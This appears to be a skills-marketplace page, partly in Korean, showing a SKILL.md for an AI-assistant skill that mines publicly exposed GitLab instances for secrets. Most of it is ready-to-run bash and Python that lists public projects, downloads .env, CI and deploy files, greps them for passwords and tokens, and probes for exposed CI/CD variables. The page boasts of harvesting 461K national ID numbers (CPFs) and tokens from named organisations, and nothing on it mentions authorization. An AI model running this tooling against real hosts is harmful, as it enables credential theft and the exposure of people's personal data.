소스 정보
- 저장소
- uphiago/recon-skills
- 최근 소스 활동
- 2026년 7월 30일 00:23
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,158
- 포크
- 205
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
SOC 직업 분류 기준
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/uphiago/recon-skills --skill gitlab-public-recon명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
| name | gitlab-public-recon |
| description | Mine GitLab for secrets, CI tokens when subdomain found. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, nmap, python3, masscan, subfinder, httpx, nuclei |
| tags | ["recon","gitlab","source-code","secrets","internal-IPs"] |
| category | recon |
| related_skills | ["js-secrets-extraction","source-leak-hunt","api-noauth-hunt"] |
Enumerate publicly accessible GitLab repositories to extract source code, credentials, internal IPs, CI/CD tokens, deployment configurations, and environment files. GitLab instances with registration enabled or public visibility expose the entire development infrastructure. Confirmed on gov-finance-portal (3 public repos, 461K CPFs, internal IP 10.11.82.75, CI/CD tokens), dev-agency (GitLab with SSL private keys), and fitness-chain (Firebase SA keys in repos).
gitlab. subdomain or self-hosted GitLab instance.gitlab.target.com in certificates.subdomain-enumeration discovers GitLab hosts.js-secrets-extraction finds GitLab CI/CD references.terminal with curl, python3, jq.https://gitlab.target.com).# List public projects
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects?visibility=public&per_page=100" | jq '.[].path_with_namespace'
# Read a file from a public repo
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects/GROUP%2FPROJECT/repository/files/PATH/raw?ref=main"
| API Endpoint | What It Returns | Risk |
|---|---|---|
/api/v4/projects?visibility=public | All public projects | Info |
/api/v4/projects/:id/repository/tree | Directory listing | High |
/api/v4/projects/:id/repository/files/:path/raw?ref=:branch | Raw file content | Critical |
/api/v4/projects/:id/repository/commits | Commit history with authors | Medium |
/api/v4/projects/:id/variables |
| CI/CD variables (admin only) |
| Critical |
/api/v4/projects/:id/jobs | CI/CD job history | Medium |
/users/sign_up | Open registration | Critical |
/explore | Public project explorer | Info |
TARGET="$1"
OUTDIR="$OUTDIR/gitlab"
mkdir -p "$OUTDIR"
echo "[*] GitLab recon on $TARGET"
# Check if GitLab is accessible
MAIN_PAGE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$MAIN_PAGE" | grep -qi "gitlab"; then
echo "[+] GitLab confirmed"
elif echo "$MAIN_PAGE" | grep -qi "sign_in\|sign_up\|explore/projects"; then
echo "[+] GitLab confirmed (page content)"
else
echo "[-] May not be GitLab — probing API..."
fi
# Check API version
API_VER=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/version" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'{d.get(\"version\",\"?\")} rev {d.get(\"revision\",\"?\")[:8]}')" 2>/dev/null)
[[ -n "$API_VER" ]] && echo " GitLab version: $API_VER"
# Check if registration is open
REG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/users/sign_up" 2>/dev/null)
[[ "$REG_CODE" == "200" ]] && echo " [!] Registration OPEN — anyone can create accounts"
TARGET="$1"
echo "[*] Enumerating public projects..."
PAGE=1
TOTAL_PROJECTS=0
while true; do
PROJECTS=$(curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/api/v4/projects?visibility=public&per_page=100&page=$PAGE" 2>/dev/null)
count=$(echo "$PROJECTS" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
if [[ "$count" -eq 0 ]]; then break; fi
# Extract project names and save
echo "$PROJECTS" | python3 -c "
import sys, json
projects = json.load(sys.stdin)
for p in projects:
print(f'{p[\"id\"]} | {p[\"path_with_namespace\"]} | stars={p.get(\"star_count\",0)} | forks={p.get(\"forks_count\",0)} | last_activity={p.get(\"last_activity_at\",\"?\")[:10]}')
" 2>/dev/null | tee -a "$OUTDIR/projects.txt"
TOTAL_PROJECTS=$((TOTAL_PROJECTS + count))
PAGE=$((PAGE + 1))
[[ $PAGE -gt 20 ]] && break # Safety limit
done
echo "[+] Total public projects: $TOTAL_PROJECTS"
TARGET="$1"
PROJECT_ID="$2" # from projects.txt enumeration
OUTDIR="$OUTDIR/gitlab"
echo "[*] Extracting from project ID: $PROJECT_ID"
# Get project details
DETAILS=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID" 2>/dev/null)
PRJ_NAME=$(echo "$DETAILS" | python3 -c "import sys,json; print(json.load(sys.stdin).get('path_with_namespace','unknown'))" 2>/dev/null)
echo " Project: $PRJ_NAME"
# Get repository file tree (top-level)
TREE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/tree?recursive=true&per_page=100" 2>/dev/null)
echo " Files in repo: $(echo "$TREE" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)"
# Hunt for sensitive files
SENSITIVE_PATTERNS=(
".env" ".env.example" ".env.production" ".env.local"
"docker-compose.yml" "docker-compose.prod.yml" "Dockerfile"
".gitlab-ci.yml" "deploy.sh" "deploy.yml"
"credentials.json" "service-account.json" "*.pem" "*.key"
"config/database.yml" "config/secrets.yml"
)
echo "[*] Hunting sensitive files..."
echo "$TREE" | python3 -c "
import sys, json, re
files = json.load(sys.stdin)
sensitive = ['.env', 'docker-compose', 'deploy', '.gitlab-ci.yml', 'credentials',
'service-account', '.pem', '.key', 'secret', 'password', 'token',
'database.yml', 'secrets.yml', 'backup', 'dump']
for f in files:
name = f['name'].lower()
path = f['path'].lower()
if any(s in name or s in path for s in sensitive):
print(f' {f[\"type\"]:4s} {f[\"path\"]}')
" 2>/dev/null
# Download specific sensitive files
echo "[*] Downloading key files..."
for file_path in ".env" ".env.example" "docker-compose.yml" ".gitlab-ci.yml" "deploy.sh"; do
ENCODED_PATH=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$file_path', safe=''))")
content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=main" 2>/dev/null)
if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
echo "$content" > "$OUTDIR/${PRJ_NAME//\//_}_${file_path//\//_}"
echo " [+] Downloaded: $file_path (${#content} bytes)"
# Quick secret scan
if echo "$content" | grep -qiE "password|secret|token|key|database|redis|mysql|api_key"; then
echo " [!] POTENTIAL SECRETS FOUND"
echo "$content" | grep -iE "password|secret|token|key" | head -5
fi
fi
# Also try 'master' branch
if [[ -z "$content" ]] || echo "$content" | grep -q "404 File"; then
content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=master" 2>/dev/null)
if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
echo " [+] Downloaded (master): $file_path"
fi
fi
done
TARGET="$1"
PROJECT_ID="$2"
echo "[*] CI/CD analysis..."
# Get .gitlab-ci.yml (pipeline definition)
CI_CONTENT=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/.gitlab-ci.yml/raw?ref=main" 2>/dev/null)
if [[ -n "$CI_CONTENT" ]] && ! echo "$CI_CONTENT" | grep -q "404"; then
echo " [+] .gitlab-ci.yml found"
# Extract CI/CD variables and tokens
echo "$CI_CONTENT" | grep -Eo '\$\{[A-Z_]+\}|$[A-Z_]+' | sort -u | while read var; do
echo " CI Variable: $var"
done
# Check for runner registration tokens
echo "$CI_CONTENT" | grep -iE "token|secret|password|credential" | head -5
fi
# Try to access CI/CD variables (requires admin token — rare but worth trying)
VARS=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/projects/$PROJECT_ID/variables" 2>/dev/null)
if echo "$VARS" | grep -qi "key\|value"; then
echo " [CRITICAL] CI/CD variables accessible without admin token!"
echo "$VARS" | python3 -m json.tool 2>/dev/null | head -30
fi
--max-time and delays./ → %2F, . → %2E).main. Try main, master, develop for file access.git clone for full access if registration is open./api/v4/projects?visibility=public.